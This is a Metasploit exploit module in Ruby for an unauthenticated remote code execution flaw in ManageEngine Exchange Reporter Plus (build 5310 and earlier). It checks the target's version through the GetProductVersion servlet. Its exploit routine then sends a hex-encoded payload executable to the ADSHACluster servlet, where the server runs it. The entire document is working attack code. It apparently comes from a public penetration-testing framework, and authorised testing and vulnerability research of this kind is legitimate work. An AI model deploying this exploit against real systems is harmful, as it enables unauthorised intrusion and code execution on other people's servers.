ManageEngine Exchange Reporter Plus Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Exchange Reporter Plus Unauthenticated RCE',
        'Description' => %q{
          This module exploits a remote code execution vulnerability that
          exists in Exchange Reporter Plus <= 5310, caused by execution of
          bcp.exe file inside ADSHACluster servlet
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kacper Szurek <[email protected]>'
        ],
        'References' => [
          ['URL', 'https://security.szurek.pl/en/manage-engine-exchange-reporter-plus-unauthenticated-rce/']
        ],
        'Platform' => ['win'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2018-06-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
        Opt::RPORT(8181),
      ]
    )
  end

  def bin_to_hex(s)
    s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Safe('Target is not vulnerable')
    end

    unless res.code == 200
      vprint_status 'Target is not ManageEngine Exchange Reporter Plus'
      return CheckCode::Safe('Target is not vulnerable')
    end

    begin
      json = res.get_json_document
      raise if json.empty? || !json['BUILD_NUMBER']
    rescue
      vprint_status 'Target is not ManageEngine Exchange Reporter Plus'
      return CheckCode::Safe('Target is not vulnerable')
    end

    vprint_status "Version: #{json['BUILD_NUMBER']}"

    if json['BUILD_NUMBER'].to_i <= 5310
      return CheckCode::Appears('Target appears to be vulnerable')
    end

    CheckCode::Safe('Target is not vulnerable')
  end

  def exploit
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
      'vars_post' => {
        'MTCALL' => "nativeClient",
        'BCP_RLL' => "0102",
        'BCP_EXE' => bin_to_hex(generate_payload_exe)
      }
    })
  end
end